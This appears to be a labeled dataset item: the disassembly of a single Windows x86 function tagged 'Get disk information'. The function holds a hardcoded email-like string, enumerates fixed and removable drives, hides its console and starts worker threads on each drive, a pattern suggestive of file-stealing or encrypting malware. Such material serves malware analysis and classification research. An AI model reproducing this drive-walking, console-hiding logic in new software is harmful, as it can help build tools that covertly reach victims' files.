Function at 0x421670
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49eecb
mov eax, dword fs:[0]
push eax
sub esp, 0x128
mov eax, dword [0x4d1114]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x108], 0
lea ecx, [ebp - 0xa8]
push 0x1b
xor eax, eax
mov dword [ebp - 0x98], 0
push str.Howardbusinessacc_gmail.com
mov dword [ebp - 0x94], 7
mov word [ebp - 0xa8], ax
call fcn.0040d000
sub esp, 0x18
mov dword [ebp - 4], 0
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov ecx, esp
movq qword [ebp - 0x54], xmm0
push eax
call fcn.00408ad0
lea ecx, [ebp - 0x54]
call fcn.0041e550
add esp, 0x18
mov byte [ebp - 4], 1
mov edi, dword [ebp - 0x54]
add edi, 0x18
mov eax, edi
mov ecx, dword [edi + 0x14]
cmp ecx, 0x10
jb 0x421722
mov eax, dword [edi]
mov esi, dword [edi + 0x10]
add esi, eax
cmp ecx, 0x10
jb 0x42172e
mov edi, dword [edi]
xor eax, eax
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], ax
lea ecx, [ebp - 0x90]
mov eax, esi
mov dword [ebp - 0x7c], 7
sub eax, edi
push eax
call fcn.00408970
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x90]
push esi
push edi
call fcn.004122e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x78]
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movq qword [ebp - 0x78], xmm0
call fcn.00413d50
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
xor eax, eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
mov dword [ebp - 0x108], 1
push eax
push 0x104
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 6
call fcn.00422570
nop
cmp dword [ebp - 0x28], 8
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x2c]
cmovae eax, dword [ebp - 0x3c]
push eax
push edi
call fcn.0045b42b
mov esi, eax
mov dword [ebp - 0xf4], edx
push 0
push esi
lea ecx, [ebp - 0x3c]
call fcn.00422570
cmp esi, edi
jae 0x4217d0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0xf4]
test edx, edx
jne 0x4223c7
push ecx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040fad0
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00422610
mov edx, dword [ebp - 0xac]
cmp edx, 0x10
jb 0x42186a
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x421860
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223cc
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
mov dword [ebp - 0x108], 2
cmp edx, 8
jb 0x4218cd
mov ecx, dword [ebp - 0x3c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4218c3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d1
push edx
push ecx
call fcn.0045e56f
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
xor edi, edi
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
movq qword [ebp - 0x48], xmm0
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0x10
mov esi, dword [ebp - 0xc8]
cmovae ecx, dword [ebp - 0xd8]
add esi, ecx
mov dword [ebp - 0xe0], edi
cmp dword [ebp - 0xc4], 0x10
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xdc], 7
cmovae ecx, dword [ebp - 0xd8]
xor eax, eax
mov word [ebp - 0xf0], ax
mov eax, esi
sub eax, ecx
mov dword [ebp - 0xf4], ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00408970
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xf0]
push esi
push dword [ebp - 0xf4]
call fcn.004122e0
mov byte [ebp - 4], 9
mov edi, dword [ebp - 0x78]
mov dword [ebp - 0x18], edi
cmp edi, dword [ebp - 0x74]
jae 0x421ca1
push edi
lea ecx, [ebp - 0x6c]
call fcn.00408f90
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0xf4], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
mov edx, dword [ebp - 0x6c]
test ecx, ecx
je 0x421c64
mov eax, dword [ebp - 0xf4]
cmp eax, 5
je 0x421c64
cmp eax, 6
je 0x421c64
test eax, eax
je 0x421c64
cmp eax, 1
je 0x421c64
cmp esi, 0x10
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x28], 7
cmovae eax, edx
cmp dword [ebp - 0x58], 0x10
lea esi, [eax + ecx]
lea ecx, [ebp - 0x6c]
cmovae ecx, edx
xor eax, eax
mov word [ebp - 0x3c], ax
mov eax, esi
sub eax, ecx
mov dword [ebp - 0xf4], ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00408970
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x3c]
push esi
push dword [ebp - 0xf4]
call fcn.004122e0
push 8
mov byte [ebp - 4], 0xc
call fcn.0045e2c2
add esp, 4
mov dword [ebp - 0x10c], eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x90]
push ecx
lea ecx, [ebp - 0x3c]
push ecx
push fcn.0041b9b0
mov ecx, eax
call fcn.00422ef0
mov byte [ebp - 4], 0xc
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0x1c], esi
je 0x421a96
mov dword [esi], eax
add esi, 4
mov dword [ebp - 0x20], esi
jmp 0x421aa9
lea eax, [ebp - 0xf4]
push eax
push esi
lea ecx, [ebp - 0x24]
call fcn.00423070
mov esi, dword [ebp - 0x20]
push 8
call fcn.0045e2c2
add esp, 4
mov dword [ebp - 0x100], eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x90]
push ecx
lea ecx, [ebp - 0x3c]
push ecx
push fcn.0041ce60
mov ecx, eax
call fcn.00422ef0
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0x1c], esi
je 0x421af7
mov dword [esi], eax
add esi, 4
mov dword [ebp - 0x20], esi
jmp 0x421b0a
lea eax, [ebp - 0xf4]
push eax
push esi
lea ecx, [ebp - 0x24]
call fcn.00423070
mov esi, dword [ebp - 0x20]
push 8
call fcn.0045e2c2
add esp, 4
mov dword [ebp - 0x104], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x90]
push ecx
lea ecx, [ebp - 0x3c]
push ecx
push fcn.0041d8c0
mov ecx, eax
call fcn.00422ef0
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0x1c], esi
je 0x421b58
mov dword [esi], eax
add esi, 4
mov dword [ebp - 0x20], esi
jmp 0x421b6b
lea eax, [ebp - 0xf4]
push eax
push esi
lea ecx, [ebp - 0x24]
call fcn.00423070
mov esi, dword [ebp - 0x20]
push 8
call fcn.0045e2c2
add esp, 4
mov dword [ebp - 0xfc], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x90]
push ecx
lea ecx, [ebp - 0x3c]
push ecx
push fcn.0041c3e0
mov ecx, eax
call fcn.00422ef0
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0x1c], esi
je 0x421bc0
mov dword [esi], eax
add esi, 4
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 0xb
jmp 0x421bf7
lea eax, [ebp - 0xf4]
push eax
push esi
lea ecx, [ebp - 0x24]
call fcn.00423070
mov dword [ebp - 4], 0xb
jmp 0x421bf7
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x28]
cmp edx, 8
jb 0x421c61
mov ecx, dword [ebp - 0x3c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421c57
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d6
jmp 0x421c57
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp - 0x6c]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x421c99
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421c8f
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223db
push ecx
push edx
call fcn.0045e56f
add esp, 8
add edi, 0x18
jmp 0x42197e
mov byte [ebp - 4], 0x12
mov esi, 0x415470
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x421cff
mov ecx, dword [eax]
call esi
mov eax, dword [ebp - 0x18]
add eax, 4
jmp 0x421cb0
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x18], eax
nop dword [eax]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x74]
jae 0x422072
push eax
lea ecx, [ebp - 0x3c]
call fcn.00408f90
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
cmovae eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x3c]
test edi, edi
je 0x422034
cmp esi, 5
je 0x422034
cmp esi, 6
je 0x422034
test esi, esi
je 0x422034
cmp esi, 1
je 0x422034
cmp dword [ebp - 0x28], 0x10
lea esi, [ebp - 0x3c]
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xb0], 0
cmovae esi, edx
mov dword [ebp - 0xac], 7
add esi, edi
cmp dword [ebp - 0x28], 0x10
lea edi, [ebp - 0x3c]
cmovae edi, edx
xor eax, eax
mov word [ebp - 0xc0], ax
mov eax, esi
sub eax, edi
push eax
call fcn.00408970
push dword [ebp - 0xfc]
lea ecx, [ebp - 0xc0]
push esi
push edi
call fcn.004122e0
push 8
mov byte [ebp - 4], 0x16
call fcn.0045e2c2
add esp, 4
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x104], eax
push 0x4c
mov byte [ebp - 4], 0x17
call fcn.0045e2c2
mov edi, eax
add esp, 4
mov dword [ebp - 0x100], edi
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 0x18
push eax
mov ecx, edi
call fcn.00408ad0
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x19
lea ecx, [edi + 0x18]
push eax
call fcn.00408ad0
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0x1a
lea ecx, [edi + 0x30]
push eax
call fcn.00408ad0
or dword [ebp - 0x108], 0x20
mov dword [edi + 0x48], fcn.00414130
mov dword [ebp - 0x10c], edi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x68]
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x68], xmm0
call fcn.00415390
xor esi, esi
mov dword [ebp - 0x68], 0x4bcfc0
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x58], edi
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 0x1c
push eax
push 0x415460
push dword [ebp - 0xf4]
call fcn.0045d1ce
add esp, 0xc
mov ecx, 1
cmp eax, 4
cmovne ecx, eax
test ecx, ecx
je 0x421ea5
push ecx
call fcn.0045c817
add esp, 4
cmp byte [ebp - 0x5c], 0
jne 0x421ec0
push dword [ebp - 0x60]
push dword [ebp - 0x64]
call fcn.0045cfb0
add esp, 8
test eax, eax
je 0x421ea5
push eax
jmp 0x421e9d
mov edi, dword [ebp - 0x58]
test edi, edi
je 0x421ed9
mov ecx, edi
call fcn.00423730
push 0x4c
push edi
call fcn.0045e56f
add esp, 8
mov byte [ebp - 4], 0x1d
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
push edi
mov dword [ebp - 0xf8], eax
call fcn.0045ccbc
add esp, 4
test eax, eax
je 0x421eff
push eax
call fcn.0045c817
add esp, 4
push edi
call fcn.0045cc00
push dword [ebp - 0xf8]
call fcn.0045cf27
mov byte [ebp - 4], 0x16
add esp, 8
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0x40], ecx
je 0x421f56
add dword [ebp - 0x44], 4
mov dword [ecx], eax
mov dword [ebp - 4], 0x15
mov esi, 0x415470
mov byte [ebp - 4], 0x1f
mov edi, dword [ebp - 0x48]
cmp edi, dword [ebp - 0x44]
je 0x421fe6
mov ecx, dword [edi]
call esi
add edi, 4
jmp 0x421f44
lea eax, [ebp - 0xf8]
push eax
push dword [ebp - 0x44]
lea ecx, [ebp - 0x48]
call fcn.00423070
jmp 0x421f31
mov dword [ebp - 4], 0x15
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0xac]
cmp edx, 8
jb 0x422031
mov ecx, dword [ebp - 0xc0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x422027
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223e0
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp - 0x3c]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x422069
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42205f
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223e5
push ecx
push edx
call fcn.0045e56f
add esp, 8
add dword [ebp - 0x18], 0x18
jmp 0x421d10
mov byte [ebp - 4], 0x21
call dword [sym.imp.KERNEL32.dll_FreeConsole]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xfc], esp
push dword [ebp - 0x54]
call fcn.00408f90
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x104], esp
mov ecx, esp
push eax
call fcn.00408ad0
sub esp, 0x18
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.00408ad0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x21
push eax
call fcn.0041b9b0
add esp, 0x4c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xfc], esp
push dword [ebp - 0x54]
call fcn.00408f90
sub esp, 0x18
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x104], esp
mov ecx, esp
push eax
call fcn.00408ad0
sub esp, 0x18
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.00408ad0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x21
push eax
call fcn.0041ce60
add esp, 0x4c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xfc], esp
push dword [ebp - 0x54]
call fcn.00408f90
sub esp, 0x18
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x104], esp
mov ecx, esp
push eax
call fcn.00408ad0
sub esp, 0x18
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.00408ad0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x21
push eax
call fcn.0041d8c0
add esp, 0x4c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xfc], esp
push dword [ebp - 0x54]
call fcn.00408f90
sub esp, 0x18
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x104], esp
mov ecx, esp
push eax
call fcn.00408ad0
sub esp, 0x18
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x90]
mov ecx, esp
push eax
call fcn.00408ad0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x21
push eax
call fcn.0041c3e0
add esp, 0x4c
push str.pause
call fcn.00481cf3
mov edx, dword [ebp - 0xdc]
add esp, 4
cmp edx, 8
jb 0x42225d
mov ecx, dword [ebp - 0xf0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x422253
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223ea
jmp 0x422253
push edx
push ecx
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp - 0x48]
test edx, edx
je 0x422294
mov ecx, dword [ebp - 0x40]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x42228a
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223ef
push ecx
push edx
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp - 0x24]
test edx, edx
je 0x4222cb
mov ecx, dword [ebp - 0x1c]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x4222c1
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223f4
push ecx
push edx
call fcn.0045e56f
add esp, 8
mov edx, dword [ebp - 0xc4]
cmp edx, 0x10
jb 0x422305
mov ecx, dword [ebp - 0xd8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4222fb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223f9
push edx
push ecx
call fcn.0045e56f
add esp, 8
lea ecx, [ebp - 0x78]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
call fcn.00422a00
mov edx, dword [ebp - 0x7c]
cmp edx, 8
jb 0x422365
mov ecx, dword [ebp - 0x90]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42235b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223fe
push edx
push ecx
call fcn.0045e56f
add esp, 8
lea ecx, [ebp - 0x54]
call fcn.00422a00
mov edx, dword [ebp - 0x94]
cmp edx, 8
jb 0x4223a9
mov ecx, dword [ebp - 0xa8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42239f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422403
push edx
push ecx
call fcn.0045e56f
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045e00c
mov esp, ebp
pop ebp
ret
call fcn.00414dd0
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
call fcn.004806b8
int3